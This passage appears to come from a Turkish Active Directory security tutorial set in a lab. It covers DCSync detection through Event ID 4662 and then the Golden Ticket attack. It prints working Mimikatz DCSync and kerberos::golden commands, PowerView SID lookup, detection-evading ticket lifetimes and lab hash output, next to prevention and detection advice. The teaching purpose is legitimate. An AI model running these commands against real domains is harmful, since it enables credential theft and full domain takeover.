&lt;strong&gt;AES-128 anahtarı&lt;/strong&gt; ve &lt;strong&gt;DES anahtarı&lt;/strong&gt; da elde edildi.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Ek not:&lt;/strong&gt; &lt;code&gt;/user:Administrator&lt;/code&gt; yerine &lt;strong&gt;&lt;code&gt;/all&lt;/code&gt;&lt;/strong&gt; parametresi kullanılırsa, &lt;strong&gt;tüm AD ortamındaki her hesabın&lt;/strong&gt; hash'i tek seferde çekilir. Bu, saldırganın domain'deki her kullanıcının kimlik bilgilerine sahip olması demektir — tam bir domain ele geçirme.&lt;/p&gt;




&lt;h4&gt;
  
  
  Önleme (Prevention)
&lt;/h4&gt;

&lt;p&gt;DCSync'in kötüye kullandığı şey, AD ortamlarında &lt;strong&gt;her zaman gerçekleşen normal bir operasyondur&lt;/strong&gt; (DC'ler arası replikasyon). Bu yüzden DCSync'i doğrudan "kutudan çıktığı haliyle" engellemek &lt;strong&gt;mümkün değildir.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tek önleme tekniği:&lt;/strong&gt; &lt;strong&gt;RPC Firewall&lt;/strong&gt; gibi üçüncü parti bir ürün kullanmak. RPC Firewall, belirli RPC çağrılarını çok detaylı düzeyde (granüler) engelleyebilir veya izin verebilir. Örneğin: replikasyon isteklerinin &lt;strong&gt;yalnızca Domain Controller'lardan&lt;/strong&gt; gelmesine izin ver, diğer tüm kaynaklardan gelen replikasyon isteklerini engelle.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Bu neden diğer bölümlerden farklı?&lt;/strong&gt; Önceki tüm bölümlerde "izinleri sıkılaştır, parolayı güçlendir" gibi yerleşik (built-in) önlemler vardı. DCSync'te ise yerleşik bir önleme mekanizması &lt;strong&gt;yok&lt;/strong&gt; — bu da bu saldırıyı özellikle tehlikeli yapıyor.&lt;/p&gt;




&lt;h4&gt;
  
  
  Tespit (Detection)
&lt;/h4&gt;

&lt;p&gt;DCSync'i tespit etmek &lt;strong&gt;kolaydır&lt;/strong&gt; çünkü her Domain Controller replikasyonu &lt;strong&gt;Event ID 4662&lt;/strong&gt; üretir. Bu event'i izleyip, başlatan hesabın bir Domain Controller olup olmadığını kontrol ederek anormal istekleri hemen yakalayabilirsiniz.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Lab'daki Event ID 4662 detayları:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Event 4662, Microsoft Windows security auditing.

Subject:
  Security ID:    KAAN\Yeşil
  Account Name:   yeşil          ← Domain Controller DEĞİL! Kırmızı bayrak!
  Account Domain: KAAN
  Logon ID:       0x1EB0C4C

Object:
  Object Server:  DS
  Object Type:    domainDNS
  Object Name:    DC=krysthal,DC=local

Operation:
  Operation Type: Object Access
  Accesses:       Control Access
  Access Mask:    0x100
  Properties:     Control Access
                  {1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}
                  domainDNS
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Kritik tespit noktası:&lt;/strong&gt; &lt;code&gt;Account Name: yeşil&lt;/code&gt; — bu bir kullanıcı hesabı, Domain Controller değil. Normal replikasyonda burada bir DC'nin makine hesabı (örneğin &lt;code&gt;DC1$&lt;/code&gt;) görünmesi gerekir. Bir kullanıcı hesabının replikasyon yapması &lt;strong&gt;derhal alarm tetiklemelidir.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Yanlış pozitiflerden kaçınmak için iki kural:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;GUID kontrolü:&lt;/strong&gt; Event'te şu iki GUID'den birinin (veya her ikisinin) bulunduğundan emin olun:

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2&lt;/code&gt; → &lt;strong&gt;Replicating Directory Changes&lt;/strong&gt; iznini temsil eder&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2&lt;/code&gt; → &lt;strong&gt;Replicating Directory Changes All&lt;/strong&gt; iznini temsil eder&lt;/li&gt;
&lt;li&gt;Bu GUID'ler event'in Properties alanında görünür. Bunların varlığı, bunun gerçek bir replikasyon isteği olduğunu doğrular.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Meşru hesapların beyaz listeye alınması:&lt;/strong&gt; Bazı hizmetler meşru nedenlerle sürekli replikasyon yapar — en yaygın örnek &lt;strong&gt;Azure AD Connect&lt;/strong&gt;. Bu hizmet, DC'leri sürekli replike ederek elde ettiği parola hash'lerini Azure AD'ye gönderir. Bu hesabı beyaz listeye alarak yanlış pozitif üretmesini engelleyin.&lt;/li&gt;
&lt;/ol&gt;




&lt;h4&gt;
  
  
  Honeypot
&lt;/h4&gt;

&lt;p&gt;Bu bölümde &lt;strong&gt;ayrı bir Honeypot alt başlığı bulunmuyor.&lt;/strong&gt; Tespit mekanizmasının kendisi zaten çok güçlü — Event ID 4662 + hesap adı kontrolü neredeyse sıfır yanlış pozitifle çalışır (beyaz liste doğru yapılandırıldığında).&lt;/p&gt;




&lt;h4&gt;
  
  
  Özet Tablosu
&lt;/h4&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Kriter&lt;/th&gt;
&lt;th&gt;DCSync&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Saldırı etkisi&lt;/td&gt;
&lt;td&gt;Tüm domain'deki HER hesabın parola hash'i çekilebilir&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Gerekli izinler&lt;/td&gt;
&lt;td&gt;Replicating Directory Changes + Changes All&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kullanılan araç&lt;/td&gt;
&lt;td&gt;Mimikatz (lsadump::dcsync)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Önleme&lt;/td&gt;
&lt;td&gt;Yerleşik yok — sadece RPC Firewall (3. parti)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tespit&lt;/td&gt;
&lt;td&gt;Event ID 4662 — kolay ve güvenilir&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Yanlış pozitif riski&lt;/td&gt;
&lt;td&gt;Düşük (GUID filtresi + beyaz liste ile)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Honeypot&lt;/td&gt;
&lt;td&gt;Ayrı alt başlık yok, tespit zaten çok güçlü&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Saldırı sonrası etki&lt;/td&gt;
&lt;td&gt;Pass-the-Hash, Golden Ticket, tam domain ele geçirme&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  BÖLÜM 10: GOLDEN TICKET
&lt;/h3&gt;




&lt;h4&gt;
  
  
  Açıklama (Description)
&lt;/h4&gt;

&lt;p&gt;Kerberos Golden Ticket, saldırganın domain'deki &lt;strong&gt;herhangi bir kullanıcı için sahte TGT bileti oluşturmasını&lt;/strong&gt; sağlayan bir saldırıdır, yani saldırgan kendini &lt;strong&gt;Domain Controller gibi davranır.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Bunu anlamak için 1. bölümden hatırla: Domain oluşturulduğunda &lt;strong&gt;&lt;code&gt;krbtgt&lt;/code&gt;&lt;/strong&gt; adlı benzersiz bir hesap otomatik olarak yaratılır. Bu hesap devre dışıdır, silinemez, yeniden adlandırılamaz ve etkinleştirilemez. Domain Controller'ın KDC servisi, &lt;strong&gt;tüm Kerberos biletlerini imzalamak için&lt;/strong&gt; &lt;code&gt;krbtgt&lt;/code&gt; hesabının parola hash'inden türetilmiş bir anahtar kullanır. Bu hash, tüm domain'deki &lt;strong&gt;en güvenilir nesne&lt;/strong&gt;dir — çünkü ortamdaki tüm nesneler, domain tarafından verilen Kerberos biletlerinin geçerliliğini bu hash ile doğrular.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Sonuç:&lt;/strong&gt; &lt;code&gt;krbtgt&lt;/code&gt; hesabının parola hash'ine sahip olan &lt;strong&gt;herkes&lt;/strong&gt;, geçerli Kerberos TGT'leri oluşturabilir. &lt;code&gt;krbtgt&lt;/code&gt; bu biletleri imzaladığı için, sahte (forged) TGT'ler ortamda &lt;strong&gt;geçerli bilet&lt;/strong&gt; olarak kabul edilir. Geçmişte, &lt;strong&gt;var olmayan kullanıcılar&lt;/strong&gt; için bile bilet oluşturmak ve onlara istedikleri yetkileri atamak mümkündü (Windows 2019'da bu engellenmiştir).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Golden Ticket saldırısı ayrıca şunu da sağlar:&lt;/strong&gt; Aynı forest içindeki &lt;strong&gt;herhangi bir alt domain'den (child domain) üst domain'e (parent domain)&lt;/strong&gt; yetki yükseltme yapılabilir. Yani bir test domain'ini ele geçiren saldırgan, aynı forest'taki production domain'ine yükselme yapabilir — çünkü &lt;strong&gt;domain, güvenlik sınırı (security boundary) değildir; forest güvenlik sınırıdır.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Kritik not:&lt;/strong&gt; Bu saldırı, saldırganın zaten &lt;strong&gt;Domain Admin veya benzer yüksek yetkileri elde ettikten sonra&lt;/strong&gt; kullandığı bir &lt;strong&gt;kalıcılık (persistence)&lt;/strong&gt; tekniğidir. İlk erişim aracı değil, elde edilen erişimi &lt;strong&gt;koruma&lt;/strong&gt; aracıdır.&lt;/p&gt;




&lt;h4&gt;
  
  
  Saldırı (Attack)
&lt;/h4&gt;

&lt;p&gt;Golden Ticket oluşturmak için Mimikatz'a şu parametreler gerekiyor:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/domain&lt;/code&gt; — Domain'in adı (örn: &lt;code&gt;krysthal.local&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/sid&lt;/code&gt; — Domain'in SID değeri&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/rc4&lt;/code&gt; — &lt;code&gt;krbtgt&lt;/code&gt; hesabının NTLM parola hash'i&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/user&lt;/code&gt; — Biletin oluşturulacağı kullanıcı adı (örn: &lt;code&gt;Administrator&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/id&lt;/code&gt; — Kullanıcının RID'si (Relative ID — SID'in son kısmı, örn: Administrator için &lt;code&gt;500&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Ek parametreler (ileri düzey saldırganlar için):&lt;/strong&gt; Varsayılan olarak Mimikatz, &lt;strong&gt;10 yıllık&lt;/strong&gt; ömürlü bilet oluşturur, bu EDR/SIEM çözümleri tarafından çok kolay tespit edilir. Bu yüzden gelişmiş tehdit aktörleri şu parametreleri de belirtir:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/renewmax&lt;/code&gt; — Biletin yenilenebileceği maksimum gün sayısı&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/endin&lt;/code&gt; — Biletin sona erme süresi&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;strong&gt;Adım 1 — &lt;code&gt;krbtgt&lt;/code&gt; hash'ini elde etme (DCSync ile):&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Önceki bölümdeki DCSync saldırısı kullanılarak &lt;code&gt;krbtgt&lt;/code&gt; hesabının hash'i çekiliyor:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;C:\Mimikatz&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;mimikatz.exe
&lt;span class="go"&gt;
&lt;/span&gt;&lt;span class="gp"&gt;mimikatz #&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;lsadump::dcsync /domain:krysthal.local /user:krbtgt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Çıktı:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[DC] 'krysthal.local' will be the domain
[DC] 'DC1.krysthal.local' will be the DC server
[DC] 'krbtgt' will be the user account

Object RDN              : krbtgt

** SAM ACCOUNT **
SAM Username            : krbtgt
Account Type            : 30000000 ( USER_OBJECT )
User Account Control    : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Password last change    : 07/08/2026 11.26.54
Object Security ID      : S-1-5-21-1518138621-4282902758-752445584-502
Object Relative ID      : 502

Credentials:
  Hash NTLM: db0d0630064747072a7da3f7c3b4069e

Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
    Default Salt : KRYSTHAL.LOCALkrbtgt
    Credentials
      aes256_hmac (4096) : 1335dd3a999cacbae9164555c30f71c568fbaf9c3aa83c4563d25363523d1efc
      aes128_hmac (4096) : 8ca6bbd37b3bfb692a3cfaf68c579e64
      des_cbc_md5 (4096) : 580229010b15b52f
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;!!!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffmw3uww48rnlme30tbdz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffmw3uww48rnlme30tbdz.png" alt=" " width="381" height="64"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Adım 2 — Domain SID'ini elde etme (PowerView ile):&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;powershell&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users\infa\Downloads&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;powershell&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-exec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;bypass&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users\infa\Downloads&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;\PowerView.ps1&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users\infa\Downloads&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Get-DomainSID&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;S-1-5-21-1518138621-4282902758-752445584&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8uoasbmoti0vf8twilnv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8uoasbmoti0vf8twilnv.png" alt=" " width="588" height="152"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Adım 3 — Golden Ticket oluşturma ve oturuma enjekte etme:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Artık tüm gerekli bilgiler mevcut. Mimikatz ile sahte bilet oluşturuluyor:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;C:\Mimikatz&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;mimikatz.exe
&lt;span class="go"&gt;
&lt;/span&gt;&lt;span class="gp"&gt;mimikatz #&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;kerberos::golden /domain:krysthal.local /sid:S-1-5-21-1518138621-4282902758-752445584 /rc4:db0d0630064747072a7da3f7c3b4069e /user:Administrator /id:500 /renewmax:7 /endin:8 /ptt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Parametrelerin tek tek açıklaması:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/domain:krysthal.local&lt;/code&gt; → hedef domain&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/sid:S-1-5-21-...&lt;/code&gt; → domain SID'i (Adım 2'den)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/rc4:db0d06...&lt;/code&gt; → krbtgt NTLM hash'i (Adım 1'den)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/user:Administrator&lt;/code&gt; → sahte bileti oluşturduğumuz kullanıcı&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/id:500&lt;/code&gt; → Administrator'ın RID'si&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/renewmax:7&lt;/code&gt; → bilet en fazla 7 dakika yenilenebilir (tespit edilmemek için kısa)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/endin:8&lt;/code&gt; → bilet 8 dakika sonra sona erer (tespit edilmemek için kısa)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/ptt&lt;/code&gt; → Pass The Ticket — bileti doğrudan mevcut oturuma enjekte et&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Çıktı:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User      : Administrator
Domain    : krysthal.local (KRYSTHAL)
SID       : S-1-5-21-1518138621-4282902758-752445584
User Id   : 500
Groups Id : *513 512 520 518 519
ServiceKey: db0d0630064747072a7da3f7c3b4069e - rc4_hmac_nt
Lifetime  : 13/10/2026 06.28.43 ; 13/10/2026 06.36.43 ; 13/10/2026 06.35.43
-&amp;gt; Ticket : ** Pass The Ticket **

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'Administrator @ krysthal.local' successfully submitted for current session
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Groups Id&lt;/strong&gt; alanında görünen sayılar (&lt;code&gt;*513 512 520 518 519&lt;/code&gt;), Mimikatz'ın otomatik olarak atadığı yüksek yetkili grup RID'leridir: Domain Users (513), Domain Admins (512), Group Policy Creator Owners (520), Schema Admins (518), Enterprise Admins (519).&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;📸 &lt;strong&gt;SS AL → Sayfa 61 üst yarı:&lt;/strong&gt; Mimikatz çıktısında bilet oluşturma adımları (PAC generated, PAC signed, EncTicketPart generated/encrypted, KrbCred generated) ve "Golden ticket successfully submitted" onayı. Kırmızı kutu ile "Ticket generated and submitted in current cmd session" notu işaretli.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;strong&gt;Adım 4 — Biletin çalıştığını doğrulama (klist):&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Mimikatz'dan çıktıktan sonra &lt;code&gt;klist&lt;/code&gt; komutuyla mevcut oturumdaki biletler listeleniyor:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;mimikatz #&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;exit&lt;/span&gt;
&lt;span class="go"&gt;Bye!

&lt;/span&gt;&lt;span class="gp"&gt;C:\Mimikatz&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;klist
&lt;span class="go"&gt;
Current LogonId is 0:0x9cbd6

Cached Tickets: (1)

&lt;/span&gt;&lt;span class="gp"&gt;#&lt;/span&gt;0&amp;gt;     Client: Administrator @ krysthal.local
&lt;span class="go"&gt;        Server: krbtgt/krysthal.local @ krysthal.local
        KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
&lt;/span&gt;&lt;span class="gp"&gt;        Ticket Flags 0x40e00000 -&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;forwardable renewable initial pre_authent
&lt;span class="go"&gt;        Start Time: 10/13/2026 06.28.43 (local)
        End Time:   10/13/2026 06.36.43 (local)
        Renew Time: 10/13/2026 06.35.43 (local)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Burada önemli alanlar:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;Client: Administrator @ krysthal.local&lt;/code&gt; → sahte biletin kime ait göründüğü&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Server: krbtgt/krysthal.local&lt;/code&gt; → biletin krbtgt tarafından imzalandığı&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Encryption Type: RSADSI RC4-HMAC(NT)&lt;/code&gt; → RC4 şifreleme kullanıldığı&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;End Time&lt;/code&gt; ve &lt;code&gt;Renew Time&lt;/code&gt; → &lt;code&gt;/endin:8&lt;/code&gt; ve &lt;code&gt;/renewmax:7&lt;/code&gt; parametrelerimizle uyumlu kısa ömür&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;📸 &lt;strong&gt;SS AL → Sayfa 61 alt yarı:&lt;/strong&gt; klist çıktısında Administrator @ krysthal.local için sahte bilet görünüyor, RC4-HMAC şifreleme tipi ve 8 dakikalık kısa ömür.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;strong&gt;Adım 5 — Bileti kullanarak DC'ye erişme:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Sahte biletin gerçekten çalıştığını doğrulamak için, DC1'in C$ paylaşımı listeleniyor:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;C:\Mimikatz&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;dir&lt;/span&gt; &lt;span class="se"&gt;\\&lt;/span&gt;dc1&lt;span class="se"&gt;\c&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;
&lt;span class="go"&gt;
&lt;/span&gt;&lt;span class="gp"&gt; Volume in drive \\dc1\c$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;has no label.
&lt;span class="go"&gt; Volume Serial Number is 2CD0-9665

&lt;/span&gt;&lt;span class="gp"&gt; Directory of \\dc1\c$&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="go"&gt;
&lt;/span&gt;&lt;span class="gp"&gt;15/10/2026  08.30    &amp;lt;DIR&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;DFSReports
&lt;span class="gp"&gt;13/10/2026  13.23    &amp;lt;DIR&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;Mimikatz
&lt;span class="gp"&gt;01/09/2026  11.49    &amp;lt;DIR&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;PerfLogs
&lt;span class="gp"&gt;28/11/2026  01.59    &amp;lt;DIR&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;Program Files
&lt;span class="gp"&gt;01/09/2026  04.02    &amp;lt;DIR&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;Program Files &lt;span class="o"&gt;(&lt;/span&gt;x86&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;13/12/2026  02.22    &amp;lt;DIR&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;scripts
&lt;span class="gp"&gt;07/08/2026  11.31    &amp;lt;DIR&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;Users
&lt;span class="gp"&gt;28/11/2026  02.27    &amp;lt;DIR&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;Windows
&lt;span class="go"&gt;               0 File(s)              0 bytes
               8 Dir(s)  44.947.984.384 bytes free
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Saldırgan, sahte bilet ile Domain Controller'ın &lt;strong&gt;tüm dosya sistemine&lt;/strong&gt; erişim sağlamış durumda. infa kullanıcısının normalde asla göremeyeceği DC1'in C: sürücüsü, sahte Administrator bileti sayesinde tamamen açık.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;📸 &lt;strong&gt;SS AL → Sayfa 62:&lt;/strong&gt; dir \dc1\c$ çıktısında DC1'in dosya sistemi listeleniyor — DFSReports, Mimikatz, PerfLogs, Program Files vb. klasörler görünüyor.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h4&gt;
  
  
  Önleme (Prevention)
&lt;/h4&gt;

&lt;p&gt;Sahte bilet oluşturmayı önlemek &lt;strong&gt;zordur&lt;/strong&gt; — çünkü KDC de geçerli biletleri &lt;strong&gt;aynı prosedürle&lt;/strong&gt; oluşturur. Saldırgan gerekli tüm bilgilere sahip olduğunda, bilet üretebilir. Yine de yapılması gereken birkaç şey var:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1) Ayrıcalıklı kullanıcıların herhangi bir cihazdan kimlik doğrulamasını engelleyin.&lt;/strong&gt; PAW (Privileged Access Workstation) kullanın — yüksek yetkili hesaplar sadece bu iş istasyonlarından giriş yapabilsin.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2) &lt;code&gt;krbtgt&lt;/code&gt; hesabının parolasını periyodik olarak sıfırlayın.&lt;/strong&gt; Bu hash'in gizliliği Active Directory güvenliğinin temelidir. Parola sıfırlanırken (parolanın gücünden bağımsız olarak) AD bunu her zaman &lt;strong&gt;rastgele, kriptografik olarak güvenli&lt;/strong&gt; bir değerle değiştirir. Microsoft'un &lt;strong&gt;KrbtgtKeys.ps1&lt;/strong&gt; betiğini kullanmak şiddetle önerilir çünkü:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Parola değişikliği öncesinde ortamı denetleyen bir &lt;strong&gt;audit modu&lt;/strong&gt; vardır&lt;/li&gt;
&lt;li&gt;Tüm DC'ler arasında &lt;strong&gt;anlık replikasyonu zorlar&lt;/strong&gt; — böylece tüm DC'ler yeni değeri anında alır ve potansiyel iş kesintileri azalır&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;3) SIDHistory filtrelemesini etkinleştirin.&lt;/strong&gt; Forest içindeki domain'ler arasında SIDHistory filtrelemesi uygulanarak, alt domain'den üst domain'e yetki yükseltme engellenir. Yükseltme yolu, SIDHistory özelliğini ayrıcalıklı bir grubun SID'i olarak ayarlamayı (örneğin Enterprise Admins) içerir. &lt;strong&gt;Ama dikkat:&lt;/strong&gt; Bu, domain migrasyonlarında sorunlara yol açabilir.&lt;/p&gt;




&lt;h4&gt;
  
  
  Tespit (Detection)
&lt;/h4&gt;

&lt;p&gt;Kullanıcı davranışını korelasyonlamak, sahte biletlerin kötüye kullanımını tespit etmenin &lt;strong&gt;en iyi tekniğidir.&lt;/strong&gt; Bir kullanıcının normalde nereden ve ne zaman giriş yaptığını biliyorsak, anormal davranışları alarm olarak işaretlemek kolaydır.&lt;/p&gt;

